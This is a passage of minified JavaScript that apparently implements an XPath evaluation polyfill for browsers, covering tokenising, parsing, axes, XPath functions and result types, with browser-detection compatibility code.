                b,c)}:function(a,b,c){for(var d=a.length,e=[],f=0,g=l(a)?a.split(""):a,h=0;h<d;h++)if(h in g){var p=g[h];b.call(c,p,h,a)&&(e[f++]=p)}return e},t=Array.prototype.reduce?function(a,b,c,d){d&&(b=da(b,d));return Array.prototype.reduce.call(a,b,c)}:function(a,b,c,d){var e=c;r(a,function(c,g){e=b.call(d,e,c,g,a)});return e},ja=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=l(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;
                return!1};function ka(a,b){a:{for(var c=a.length,d=l(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:l(a)?a.charAt(b):a[b]}function la(a){return Array.prototype.concat.apply(Array.prototype,arguments)}function ma(a,b,c){return 2>=arguments.length?Array.prototype.slice.call(a,b):Array.prototype.slice.call(a,b,c)};var u;a:{var na=k.navigator;if(na){var oa=na.userAgent;if(oa){u=oa;break a}}u=""};var pa=q(u,"Opera"),v=q(u,"Trident")||q(u,"MSIE"),qa=q(u,"Edge"),ra=q(u,"Gecko")&&!(q(u.toLowerCase(),"webkit")&&!q(u,"Edge"))&&!(q(u,"Trident")||q(u,"MSIE"))&&!q(u,"Edge"),sa=q(u.toLowerCase(),"webkit")&&!q(u,"Edge");function ta(){var a=k.document;return a?a.documentMode:void 0}var ua;
            a:{var va="",wa=function(){var a=u;if(ra)return/rv\:([^\);]+)(\)|;)/.exec(a);if(qa)return/Edge\/([\d\.]+)/.exec(a);if(v)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(sa)return/WebKit\/(\S+)/.exec(a);if(pa)return/(?:Version)[ \/]?(\S+)/.exec(a)}();wa&&(va=wa?wa[1]:"");if(v){var xa=ta();if(null!=xa&&xa>parseFloat(va)){ua=String(xa);break a}}ua=va}var ya={};
            function za(a){if(!ya[a]){for(var b=0,c=fa(String(ua)).split("."),d=fa(String(a)).split("."),e=Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||"",h=d[f]||"",p=/(\d*)(\D*)/g,x=/(\d*)(\D*)/g;do{var D=p.exec(g)||["","",""],X=x.exec(h)||["","",""];if(0==D[0].length&&0==X[0].length)break;b=ga(0==D[1].length?0:parseInt(D[1],10),0==X[1].length?0:parseInt(X[1],10))||ga(0==D[2].length,0==X[2].length)||ga(D[2],X[2])}while(0==b)}ya[a]=0<=b}}
            var Aa=k.document,Ba=Aa&&v?ta()||("CSS1Compat"==Aa.compatMode?parseInt(ua,10):5):void 0;!ra&&!v||v&&9<=Number(Ba)||ra&&za("1.9.1");v&&za("9");function Ca(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a}
            function Da(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if(v&&!(9<=Number(Ba))){if(9==a.nodeType)return-1;if(9==b.nodeType)return 1}if("sourceIndex"in a||a.parentNode&&"sourceIndex"in a.parentNode){var c=1==a.nodeType,d=1==b.nodeType;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?Ea(a,b):!c&&Ca(e,b)?-1*Fa(a,b):!d&&Ca(f,a)?Fa(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=9==a.nodeType?
                a:a.ownerDocument||a.document;c=d.createRange();c.selectNode(a);c.collapse(!0);a=d.createRange();a.selectNode(b);a.collapse(!0);return c.compareBoundaryPoints(k.Range.START_TO_END,a)}function Fa(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return Ea(b,a)}function Ea(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1};var w=v&&!(9<=Number(Ba)),Ga=v&&!(8<=Number(Ba));function y(a,b,c,d){this.a=a;this.nodeName=c;this.nodeValue=d;this.nodeType=2;this.parentNode=this.ownerElement=b}function Ha(a,b){var c=Ga&&"href"==b.nodeName?a.getAttribute(b.nodeName,2):b.nodeValue;return new y(b,a,b.nodeName,c)};function z(a){var b=null,c=a.nodeType;1==c&&(b=a.textContent,b=void 0==b||null==b?a.innerText:b,b=void 0==b||null==b?"":b);if("string"!=typeof b)if(w&&"title"==a.nodeName.toLowerCase()&&1==c)b=a.text;else if(9==c||1==c){a=9==c?a.documentElement:a.firstChild;for(var c=0,d=[],b="";a;){do 1!=a.nodeType&&(b+=a.nodeValue),w&&"title"==a.nodeName.toLowerCase()&&(b+=a.text),d[c++]=a;while(a=a.firstChild);for(;c&&!(a=d[--c].nextSibling););}}else b=a.nodeValue;return""+b}
            function A(a,b,c){if(null===b)return!0;try{if(!a.getAttribute)return!1}catch(d){return!1}Ga&&"class"==b&&(b="className");return null==c?!!a.getAttribute(b):a.getAttribute(b,2)==c}function B(a,b,c,d,e){return(w?Ia:Ja).call(null,a,b,l(c)?c:null,l(d)?d:null,e||new C)}
            function Ia(a,b,c,d,e){if(a instanceof E||8==a.b||c&&null===a.b){var f=b.all;if(!f)return e;a=Ka(a);if("*"!=a&&(f=b.getElementsByTagName(a),!f))return e;if(c){for(var g=[],h=0;b=f[h++];)A(b,c,d)&&g.push(b);f=g}for(h=0;b=f[h++];)"*"==a&&"!"==b.tagName||F(e,b);return e}La(a,b,c,d,e);return e}
            function Ja(a,b,c,d,e){b.getElementsByName&&d&&"name"==c&&!v?(b=b.getElementsByName(d),r(b,function(b){a.a(b)&&F(e,b)})):b.getElementsByClassName&&d&&"class"==c?(b=b.getElementsByClassName(d),r(b,function(b){b.className==d&&a.a(b)&&F(e,b)})):a instanceof G?La(a,b,c,d,e):b.getElementsByTagName&&(b=b.getElementsByTagName(a.f()),r(b,function(a){A(a,c,d)&&F(e,a)}));return e}
            function Ma(a,b,c,d,e){var f;if((a instanceof E||8==a.b||c&&null===a.b)&&(f=b.childNodes)){var g=Ka(a);if("*"!=g&&(f=ia(f,function(a){return a.tagName&&a.tagName.toLowerCase()==g}),!f))return e;c&&(f=ia(f,function(a){return A(a,c,d)}));r(f,function(a){"*"==g&&("!"==a.tagName||"*"==g&&1!=a.nodeType)||F(e,a)});return e}return Na(a,b,c,d,e)}function Na(a,b,c,d,e){for(b=b.firstChild;b;b=b.nextSibling)A(b,c,d)&&a.a(b)&&F(e,b);return e}
            function La(a,b,c,d,e){for(b=b.firstChild;b;b=b.nextSibling)A(b,c,d)&&a.a(b)&&F(e,b),La(a,b,c,d,e)}function Ka(a){if(a instanceof G){if(8==a.b)return"!";if(null===a.b)return"*"}return a.f()};function C(){this.b=this.a=null;this.l=0}function Oa(a){this.node=a;this.a=this.b=null}function Pa(a,b){if(!a.a)return b;if(!b.a)return a;var c=a.a;b=b.a;for(var d=null,e,f=0;c&&b;){e=c.node;var g=b.node;e==g||e instanceof y&&g instanceof y&&e.a==g.a?(e=c,c=c.a,b=b.a):0<Da(c.node,b.node)?(e=b,b=b.a):(e=c,c=c.a);(e.b=d)?d.a=e:a.a=e;d=e;f++}for(e=c||b;e;)e.b=d,d=d.a=e,f++,e=e.a;a.b=d;a.l=f;return a}function Qa(a,b){b=new Oa(b);b.a=a.a;a.b?a.a.b=b:a.a=a.b=b;a.a=b;a.l++}
            function F(a,b){b=new Oa(b);b.b=a.b;a.a?a.b.a=b:a.a=a.b=b;a.b=b;a.l++}function Ra(a){return(a=a.a)?a.node:null}function Sa(a){return(a=Ra(a))?z(a):""}function H(a,b){return new Ta(a,!!b)}function Ta(a,b){this.f=a;this.b=(this.c=b)?a.b:a.a;this.a=null}function I(a){var b=a.b;if(null==b)return null;var c=a.a=b;a.b=a.c?b.b:b.a;return c.node};function n(a){this.i=a;this.b=this.g=!1;this.f=null}function J(a){return"\n  "+a.toString().split("\n").join("\n  ")}function Ua(a,b){a.g=b}function Va(a,b){a.b=b}function K(a,b){a=a.a(b);return a instanceof C?+Sa(a):+a}function L(a,b){a=a.a(b);return a instanceof C?Sa(a):""+a}function M(a,b){a=a.a(b);return a instanceof C?!!a.l:!!a};function N(a,b,c){n.call(this,a.i);this.c=a;this.h=b;this.o=c;this.g=b.g||c.g;this.b=b.b||c.b;this.c==Wa&&(c.b||c.g||4==c.i||0==c.i||!b.f?b.b||b.g||4==b.i||0==b.i||!c.f||(this.f={name:c.f.name,s:b}):this.f={name:b.f.name,s:c})}m(N);
            function O(a,b,c,d,e){b=b.a(d);c=c.a(d);var f;if(b instanceof C&&c instanceof C){b=H(b);for(d=I(b);d;d=I(b))for(e=H(c),f=I(e);f;f=I(e))if(a(z(d),z(f)))return!0;return!1}if(b instanceof C||c instanceof C){b instanceof C?(e=b,d=c):(e=c,d=b);f=H(e);for(var g=typeof d,h=I(f);h;h=I(f)){switch(g){case "number":h=+z(h);break;case "boolean":h=!!z(h);break;case "string":h=z(h);break;default:throw Error("Illegal primitive type for comparison.");}if(e==b&&a(h,d)||e==c&&a(d,h))return!0}return!1}return e?"boolean"==
            typeof b||"boolean"==typeof c?a(!!b,!!c):"number"==typeof b||"number"==typeof c?a(+b,+c):a(b,c):a(+b,+c)}N.prototype.a=function(a){return this.c.m(this.h,this.o,a)};N.prototype.toString=function(){var a="Binary Expression: "+this.c,a=a+J(this.h);return a+=J(this.o)};function Xa(a,b,c,d){this.a=a;this.w=b;this.i=c;this.m=d}Xa.prototype.toString=function(){return this.a};var Ya={};
            function P(a,b,c,d){if(Ya.hasOwnProperty(a))throw Error("Binary operator already created: "+a);a=new Xa(a,b,c,d);return Ya[a.toString()]=a}P("div",6,1,function(a,b,c){return K(a,c)/K(b,c)});P("mod",6,1,function(a,b,c){return K(a,c)%K(b,c)});P("*",6,1,function(a,b,c){return K(a,c)*K(b,c)});P("+",5,1,function(a,b,c){return K(a,c)+K(b,c)});P("-",5,1,function(a,b,c){return K(a,c)-K(b,c)});P("<",4,2,function(a,b,c){return O(function(a,b){return a<b},a,b,c)});
            P(">",4,2,function(a,b,c){return O(function(a,b){return a>b},a,b,c)});P("<=",4,2,function(a,b,c){return O(function(a,b){return a<=b},a,b,c)});P(">=",4,2,function(a,b,c){return O(function(a,b){return a>=b},a,b,c)});var Wa=P("=",3,2,function(a,b,c){return O(function(a,b){return a==b},a,b,c,!0)});P("!=",3,2,function(a,b,c){return O(function(a,b){return a!=b},a,b,c,!0)});P("and",2,2,function(a,b,c){return M(a,c)&&M(b,c)});P("or",1,2,function(a,b,c){return M(a,c)||M(b,c)});function Q(a,b,c){this.a=a;this.b=b||1;this.f=c||1};function Za(a,b){if(b.a.length&&4!=a.i)throw Error("Primary expression must evaluate to nodeset if filter has predicate(s).");n.call(this,a.i);this.c=a;this.h=b;this.g=a.g;this.b=a.b}m(Za);Za.prototype.a=function(a){a=this.c.a(a);return $a(this.h,a)};Za.prototype.toString=function(){var a;a="Filter:"+J(this.c);return a+=J(this.h)};function ab(a,b){if(b.length<a.A)throw Error("Function "+a.j+" expects at least"+a.A+" arguments, "+b.length+" given");if(null!==a.v&&b.length>a.v)throw Error("Function "+a.j+" expects at most "+a.v+" arguments, "+b.length+" given");a.B&&r(b,function(b,d){if(4!=b.i)throw Error("Argument "+d+" to function "+a.j+" is not of type Nodeset: "+b);});n.call(this,a.i);this.h=a;this.c=b;Ua(this,a.g||ja(b,function(a){return a.g}));Va(this,a.D&&!b.length||a.C&&!!b.length||ja(b,function(a){return a.b}))}m(ab);
            ab.prototype.a=function(a){return this.h.m.apply(null,la(a,this.c))};ab.prototype.toString=function(){var a="Function: "+this.h;if(this.c.length)var b=t(this.c,function(a,b){return a+J(b)},"Arguments:"),a=a+J(b);return a};function bb(a,b,c,d,e,f,g,h,p){this.j=a;this.i=b;this.g=c;this.D=d;this.C=e;this.m=f;this.A=g;this.v=void 0!==h?h:g;this.B=!!p}bb.prototype.toString=function(){return this.j};var cb={};
            function R(a,b,c,d,e,f,g,h){if(cb.hasOwnProperty(a))throw Error("Function already created: "+a+".");cb[a]=new bb(a,b,c,d,!1,e,f,g,h)}R("boolean",2,!1,!1,function(a,b){return M(b,a)},1);R("ceiling",1,!1,!1,function(a,b){return Math.ceil(K(b,a))},1);R("concat",3,!1,!1,function(a,b){return t(ma(arguments,1),function(b,d){return b+L(d,a)},"")},2,null);R("contains",2,!1,!1,function(a,b,c){return q(L(b,a),L(c,a))},2);R("count",1,!1,!1,function(a,b){return b.a(a).l},1,1,!0);
            R("false",2,!1,!1,function(){return!1},0);R("floor",1,!1,!1,function(a,b){return Math.floor(K(b,a))},1);R("id",4,!1,!1,function(a,b){function c(a){if(w){var b=e.all[a];if(b){if(b.nodeType&&a==b.id)return b;if(b.length)return ka(b,function(b){return a==b.id})}return null}return e.getElementById(a)}var d=a.a,e=9==d.nodeType?d:d.ownerDocument;a=L(b,a).split(/\s+/);var f=[];r(a,function(a){a=c(a);!a||0<=ha(f,a)||f.push(a)});f.sort(Da);var g=new C;r(f,function(a){F(g,a)});return g},1);
            R("lang",2,!1,!1,function(){return!1},1);R("last",1,!0,!1,function(a){if(1!=arguments.length)throw Error("Function last expects ()");return a.f},0);R("local-name",3,!1,!0,function(a,b){return(a=b?Ra(b.a(a)):a.a)?a.localName||a.nodeName.toLowerCase():""},0,1,!0);R("name",3,!1,!0,function(a,b){return(a=b?Ra(b.a(a)):a.a)?a.nodeName.toLowerCase():""},0,1,!0);R("namespace-uri",3,!0,!1,function(){return""},0,1,!0);
            R("normalize-space",3,!1,!0,function(a,b){return(b?L(b,a):z(a.a)).replace(/[\s\xa0]+/g," ").replace(/^\s+|\s+$/g,"")},0,1);R("not",2,!1,!1,function(a,b){return!M(b,a)},1);R("number",1,!1,!0,function(a,b){return b?K(b,a):+z(a.a)},0,1);R("position",1,!0,!1,function(a){return a.b},0);R("round",1,!1,!1,function(a,b){return Math.round(K(b,a))},1);R("starts-with",2,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);return 0==b.lastIndexOf(a,0)},2);R("string",3,!1,!0,function(a,b){return b?L(b,a):z(a.a)},0,1);
            R("string-length",1,!1,!0,function(a,b){return(b?L(b,a):z(a.a)).length},0,1);R("substring",3,!1,!1,function(a,b,c,d){c=K(c,a);if(isNaN(c)||Infinity==c||-Infinity==c)return"";d=d?K(d,a):Infinity;if(isNaN(d)||-Infinity===d)return"";c=Math.round(c)-1;var e=Math.max(c,0);a=L(b,a);return Infinity==d?a.substring(e):a.substring(e,c+Math.round(d))},2,3);R("substring-after",3,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);c=b.indexOf(a);return-1==c?"":b.substring(c+a.length)},2);
            R("substring-before",3,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);a=b.indexOf(a);return-1==a?"":b.substring(0,a)},2);R("sum",1,!1,!1,function(a,b){a=H(b.a(a));b=0;for(var c=I(a);c;c=I(a))b+=+z(c);return b},1,1,!0);R("translate",3,!1,!1,function(a,b,c,d){b=L(b,a);c=L(c,a);var e=L(d,a);a={};for(d=0;d<c.length;d++){var f=c.charAt(d);f in a||(a[f]=e.charAt(d))}c="";for(d=0;d<b.length;d++)f=b.charAt(d),c+=f in a?a[f]:f;return c},3);R("true",2,!1,!1,function(){return!0},0);function G(a,b){this.h=a;this.c=void 0!==b?b:null;this.b=null;switch(a){case "comment":this.b=8;break;case "text":this.b=3;break;case "processing-instruction":this.b=7;break;case "node":break;default:throw Error("Unexpected argument");}}function db(a){return"comment"==a||"text"==a||"processing-instruction"==a||"node"==a}G.prototype.a=function(a){return null===this.b||this.b==a.nodeType};G.prototype.f=function(){return this.h};
            G.prototype.toString=function(){var a="Kind Test: "+this.h;null===this.c||(a+=J(this.c));return a};function eb(a){this.b=a;this.a=0}function fb(a){a=a.match(gb);for(var b=0;b<a.length;b++)hb.test(a[b])&&a.splice(b,1);return new eb(a)}var gb=/\$?(?:(?![0-9-\.])(?:\*|[\w-\.]+):)?(?![0-9-\.])(?:\*|[\w-\.]+)|\/\/|\.\.|::|\d+(?:\.\d*)?|\.\d+|"[^"]*"|'[^']*'|[!<>]=|\s+|./g,hb=/^\s/;function S(a,b){return a.b[a.a+(b||0)]}function T(a){return a.b[a.a++]}function ib(a){return a.b.length<=a.a};function jb(a){n.call(this,3);this.c=a.substring(1,a.length-1)}m(jb);jb.prototype.a=function(){return this.c};jb.prototype.toString=function(){return"Literal: "+this.c};function E(a,b){this.j=a.toLowerCase();a="*"==this.j?"*":"http://www.w3.org/1999/xhtml";this.c=b?b.toLowerCase():a}E.prototype.a=function(a){var b=a.nodeType;if(1!=b&&2!=b)return!1;b=void 0!==a.localName?a.localName:a.nodeName;return"*"!=this.j&&this.j!=b.toLowerCase()?!1:"*"==this.c?!0:this.c==(a.namespaceURI?a.namespaceURI.toLowerCase():"http://www.w3.org/1999/xhtml")};E.prototype.f=function(){return this.j};
            E.prototype.toString=function(){return"Name Test: "+("http://www.w3.org/1999/xhtml"==this.c?"":this.c+":")+this.j};function kb(a){n.call(this,1);this.c=a}m(kb);kb.prototype.a=function(){return this.c};kb.prototype.toString=function(){return"Number: "+this.c};function lb(a,b){n.call(this,a.i);this.h=a;this.c=b;this.g=a.g;this.b=a.b;1==this.c.length&&(a=this.c[0],a.u||a.c!=mb||(a=a.o,"*"!=a.f()&&(this.f={name:a.f(),s:null})))}m(lb);function nb(){n.call(this,4)}m(nb);nb.prototype.a=function(a){var b=new C;a=a.a;9==a.nodeType?F(b,a):F(b,a.ownerDocument);return b};nb.prototype.toString=function(){return"Root Helper Expression"};function ob(){n.call(this,4)}m(ob);ob.prototype.a=function(a){var b=new C;F(b,a.a);return b};ob.prototype.toString=function(){return"Context Helper Expression"};
            function pb(a){return"/"==a||"//"==a}lb.prototype.a=function(a){var b=this.h.a(a);if(!(b instanceof C))throw Error("Filter expression must evaluate to nodeset.");a=this.c;for(var c=0,d=a.length;c<d&&b.l;c++){var e=a[c],f=H(b,e.c.a),g;if(e.g||e.c!=qb)if(e.g||e.c!=rb)for(g=I(f),b=e.a(new Q(g));null!=(g=I(f));)g=e.a(new Q(g)),b=Pa(b,g);else g=I(f),b=e.a(new Q(g));else{for(g=I(f);(b=I(f))&&(!g.contains||g.contains(b))&&b.compareDocumentPosition(g)&8;g=b);b=e.a(new Q(g))}}return b};
            lb.prototype.toString=function(){var a;a="Path Expression:"+J(this.h);if(this.c.length){var b=t(this.c,function(a,b){return a+J(b)},"Steps:");a+=J(b)}return a};function sb(a,b){this.a=a;this.b=!!b}
            function $a(a,b,c){for(c=c||0;c<a.a.length;c++)for(var d=a.a[c],e=H(b),f=b.l,g,h=0;g=I(e);h++){var p=a.b?f-h:h+1;g=d.a(new Q(g,p,f));if("number"==typeof g)p=p==g;else if("string"==typeof g||"boolean"==typeof g)p=!!g;else if(g instanceof C)p=0<g.l;else throw Error("Predicate.evaluate returned an unexpected type.");if(!p){p=e;g=p.f;var x=p.a;if(!x)throw Error("Next must be called at least once before remove.");var D=x.b,x=x.a;D?D.a=x:g.a=x;x?x.b=D:g.b=D;g.l--;p.a=null}}return b}
            sb.prototype.toString=function(){return t(this.a,function(a,b){return a+J(b)},"Predicates:")};function U(a,b,c,d){n.call(this,4);this.c=a;this.o=b;this.h=c||new sb([]);this.u=!!d;b=this.h;b=0<b.a.length?b.a[0].f:null;a.b&&b&&(a=b.name,a=w?a.toLowerCase():a,this.f={name:a,s:b.s});a:{a=this.h;for(b=0;b<a.a.length;b++)if(c=a.a[b],c.g||1==c.i||0==c.i){a=!0;break a}a=!1}this.g=a}m(U);
            U.prototype.a=function(a){var b=a.a,c=this.f,d=null,e=null,f=0;c&&(d=c.name,e=c.s?L(c.s,a):null,f=1);if(this.u)if(this.g||this.c!=tb)if(b=H((new U(ub,new G("node"))).a(a)),c=I(b))for(a=this.m(c,d,e,f);null!=(c=I(b));)a=Pa(a,this.m(c,d,e,f));else a=new C;else a=B(this.o,b,d,e),a=$a(this.h,a,f);else a=this.m(a.a,d,e,f);return a};U.prototype.m=function(a,b,c,d){a=this.c.f(this.o,a,b,c);return a=$a(this.h,a,d)};
            U.prototype.toString=function(){var a;a="Step:"+J("Operator: "+(this.u?"//":"/"));this.c.j&&(a+=J("Axis: "+this.c));a+=J(this.o);if(this.h.a.length){var b=t(this.h.a,function(a,b){return a+J(b)},"Predicates:");a+=J(b)}return a};function vb(a,b,c,d){this.j=a;this.f=b;this.a=c;this.b=d}vb.prototype.toString=function(){return this.j};var wb={};function V(a,b,c,d){if(wb.hasOwnProperty(a))throw Error("Axis already created: "+a);b=new vb(a,b,c,!!d);return wb[a]=b}
            V("ancestor",function(a,b){for(var c=new C;b=b.parentNode;)a.a(b)&&Qa(c,b);return c},!0);V("ancestor-or-self",function(a,b){var c=new C;do a.a(b)&&Qa(c,b);while(b=b.parentNode);return c},!0);
            var mb=V("attribute",function(a,b){var c=new C,d=a.f();if("style"==d&&w&&b.style)return F(c,new y(b.style,b,"style",b.style.cssText)),c;var e=b.attributes;if(e)if(a instanceof G&&null===a.b||"*"==d)for(a=0;d=e[a];a++)w?d.nodeValue&&F(c,Ha(b,d)):F(c,d);else(d=e.getNamedItem(d))&&(w?d.nodeValue&&F(c,Ha(b,d)):F(c,d));return c},!1),tb=V("child",function(a,b,c,d,e){return(w?Ma:Na).call(null,a,b,l(c)?c:null,l(d)?d:null,e||new C)},!1,!0);V("descendant",B,!1,!0);
            var ub=V("descendant-or-self",function(a,b,c,d){var e=new C;A(b,c,d)&&a.a(b)&&F(e,b);return B(a,b,c,d,e)},!1,!0),qb=V("following",function(a,b,c,d){var e=new C;do for(var f=b;f=f.nextSibling;)A(f,c,d)&&a.a(f)&&F(e,f),e=B(a,f,c,d,e);while(b=b.parentNode);return e},!1,!0);V("following-sibling",function(a,b){for(var c=new C;b=b.nextSibling;)a.a(b)&&F(c,b);return c},!1);V("namespace",function(){return new C},!1);
            var xb=V("parent",function(a,b){var c=new C;if(9==b.nodeType)return c;if(2==b.nodeType)return F(c,b.ownerElement),c;b=b.parentNode;a.a(b)&&F(c,b);return c},!1),rb=V("preceding",function(a,b,c,d){var e=new C,f=[];do f.unshift(b);while(b=b.parentNode);for(var g=1,h=f.length;g<h;g++){var p=[];for(b=f[g];b=b.previousSibling;)p.unshift(b);for(var x=0,D=p.length;x<D;x++)b=p[x],A(b,c,d)&&a.a(b)&&F(e,b),e=B(a,b,c,d,e)}return e},!0,!0);
            V("preceding-sibling",function(a,b){for(var c=new C;b=b.previousSibling;)a.a(b)&&Qa(c,b);return c},!0);var yb=V("self",function(a,b){var c=new C;a.a(b)&&F(c,b);return c},!1);function zb(a){n.call(this,1);this.c=a;this.g=a.g;this.b=a.b}m(zb);zb.prototype.a=function(a){return-K(this.c,a)};zb.prototype.toString=function(){return"Unary Expression: -"+J(this.c)};function Ab(a){n.call(this,4);this.c=a;Ua(this,ja(this.c,function(a){return a.g}));Va(this,ja(this.c,function(a){return a.b}))}m(Ab);Ab.prototype.a=function(a){var b=new C;r(this.c,function(c){c=c.a(a);if(!(c instanceof C))throw Error("Path expression must evaluate to NodeSet.");b=Pa(b,c)});return b};Ab.prototype.toString=function(){return t(this.c,function(a,b){return a+J(b)},"Union Expression:")};function Bb(a,b){this.a=a;this.b=b}function Cb(a){for(var b,c=[];;){W(a,"Missing right hand side of binary expression.");b=Db(a);var d=T(a.a);if(!d)break;var e=(d=Ya[d]||null)&&d.w;if(!e){a.a.a--;break}for(;c.length&&e<=c[c.length-1].w;)b=new N(c.pop(),c.pop(),b);c.push(b,d)}for(;c.length;)b=new N(c.pop(),c.pop(),b);return b}function W(a,b){if(ib(a.a))throw Error(b);}function Eb(a,b){a=T(a.a);if(a!=b)throw Error("Bad token, expected: "+b+" got: "+a);}
            function Fb(a){a=T(a.a);if(")"!=a)throw Error("Bad token: "+a);}function Gb(a){a=T(a.a);if(2>a.length)throw Error("Unclosed literal string");return new jb(a)}
            function Hb(a){var b,c=[],d;if(pb(S(a.a))){b=T(a.a);d=S(a.a);if("/"==b&&(ib(a.a)||"."!=d&&".."!=d&&"@"!=d&&"*"!=d&&!/(?![0-9])[\w]/.test(d)))return new nb;d=new nb;W(a,"Missing next location step.");b=Ib(a,b);c.push(b)}else{a:{b=S(a.a);d=b.charAt(0);switch(d){case "$":throw Error("Variable reference not allowed in HTML XPath");case "(":T(a.a);b=Cb(a);W(a,'unclosed "("');Eb(a,")");break;case '"':case "'":b=Gb(a);break;default:if(isNaN(+b))if(!db(b)&&/(?![0-9])[\w]/.test(d)&&"("==S(a.a,1)){b=T(a.a);
                b=cb[b]||null;T(a.a);for(d=[];")"!=S(a.a);){W(a,"Missing function argument list.");d.push(Cb(a));if(","!=S(a.a))break;T(a.a)}W(a,"Unclosed function argument list.");Fb(a);b=new ab(b,d)}else{b=null;break a}else b=new kb(+T(a.a))}"["==S(a.a)&&(d=new sb(Jb(a)),b=new Za(b,d))}if(b)if(pb(S(a.a)))d=b;else return b;else b=Ib(a,"/"),d=new ob,c.push(b)}for(;pb(S(a.a));)b=T(a.a),W(a,"Missing next location step."),b=Ib(a,b),c.push(b);return new lb(d,c)}
            function Ib(a,b){var c,d;if("/"!=b&&"//"!=b)throw Error('Step op should be "/" or "//"');if("."==S(a.a))return d=new U(yb,new G("node")),T(a.a),d;if(".."==S(a.a))return d=new U(xb,new G("node")),T(a.a),d;var e;if("@"==S(a.a))e=mb,T(a.a),W(a,"Missing attribute name");else if("::"==S(a.a,1)){if(!/(?![0-9])[\w]/.test(S(a.a).charAt(0)))throw Error("Bad token: "+T(a.a));c=T(a.a);e=wb[c]||null;if(!e)throw Error("No axis with name: "+c);T(a.a);W(a,"Missing node name")}else e=tb;c=S(a.a);if(/(?![0-9])[\w\*]/.test(c.charAt(0)))if("("==
                S(a.a,1)){if(!db(c))throw Error("Invalid node type: "+c);c=T(a.a);if(!db(c))throw Error("Invalid type name: "+c);Eb(a,"(");W(a,"Bad nodetype");var f=S(a.a).charAt(0),g=null;if('"'==f||"'"==f)g=Gb(a);W(a,"Bad nodetype");Fb(a);c=new G(c,g)}else if(c=T(a.a),f=c.indexOf(":"),-1==f)c=new E(c);else{var g=c.substring(0,f),h;if("*"==g)h="*";else if(h=a.b(g),!h)throw Error("Namespace prefix not declared: "+g);c=c.substr(f+1);c=new E(c,h)}else throw Error("Bad token: "+T(a.a));a=new sb(Jb(a),e.a);return d||
                new U(e,c,a,"//"==b)}function Jb(a){for(var b=[];"["==S(a.a);){T(a.a);W(a,"Missing predicate expression.");var c=Cb(a);b.push(c);W(a,"Unclosed predicate expression.");Eb(a,"]")}return b}function Db(a){if("-"==S(a.a))return T(a.a),new zb(Db(a));var b=Hb(a);if("|"!=S(a.a))a=b;else{for(b=[b];"|"==T(a.a);)W(a,"Missing next union location path."),b.push(Hb(a));a.a.a--;a=new Ab(b)}return a};function Kb(a){switch(a.nodeType){case 1:return ea(Lb,a);case 9:return Kb(a.documentElement);case 11:case 10:case 6:case 12:return Mb;default:return a.parentNode?Kb(a.parentNode):Mb}}function Mb(){return null}function Lb(a,b){if(a.prefix==b)return a.namespaceURI||"http://www.w3.org/1999/xhtml";var c=a.getAttributeNode("xmlns:"+b);return c&&c.specified?c.value||null:a.parentNode&&9!=a.parentNode.nodeType?Lb(a.parentNode,b):null};function Nb(a,b){if(!a.length)throw Error("Empty XPath expression.");a=fb(a);if(ib(a))throw Error("Invalid XPath expression.");b?"function"==aa(b)||(b=da(b.lookupNamespaceURI,b)):b=function(){return null};var c=Cb(new Bb(a,b));if(!ib(a))throw Error("Bad token: "+T(a));this.evaluate=function(a,b){a=c.a(new Q(a));return new Y(a,b)}}
            function Y(a,b){if(0==b)if(a instanceof C)b=4;else if("string"==typeof a)b=2;else if("number"==typeof a)b=1;else if("boolean"==typeof a)b=3;else throw Error("Unexpected evaluation result.");if(2!=b&&1!=b&&3!=b&&!(a instanceof C))throw Error("value could not be converted to the specified type");this.resultType=b;var c;switch(b){case 2:this.stringValue=a instanceof C?Sa(a):""+a;break;case 1:this.numberValue=a instanceof C?+Sa(a):+a;break;case 3:this.booleanValue=a instanceof C?0<a.l:!!a;break;case 4:case 5:case 6:case 7:var d=
                H(a);c=[];for(var e=I(d);e;e=I(d))c.push(e instanceof y?e.a:e);this.snapshotLength=a.l;this.invalidIteratorState=!1;break;case 8:case 9:a=Ra(a);this.singleNodeValue=a instanceof y?a.a:a;break;default:throw Error("Unknown XPathResult type.");}var f=0;this.iterateNext=function(){if(4!=b&&5!=b)throw Error("iterateNext called with wrong result type");return f>=c.length?null:c[f++]};this.snapshotItem=function(a){if(6!=b&&7!=b)throw Error("snapshotItem called with wrong result type");return a>=c.length||
            0>a?null:c[a]}}Y.ANY_TYPE=0;Y.NUMBER_TYPE=1;Y.STRING_TYPE=2;Y.BOOLEAN_TYPE=3;Y.UNORDERED_NODE_ITERATOR_TYPE=4;Y.ORDERED_NODE_ITERATOR_TYPE=5;Y.UNORDERED_NODE_SNAPSHOT_TYPE=6;Y.ORDERED_NODE_SNAPSHOT_TYPE=7;Y.ANY_UNORDERED_NODE_TYPE=8;Y.FIRST_ORDERED_NODE_TYPE=9;function Ob(a){this.lookupNamespaceURI=Kb(a)}
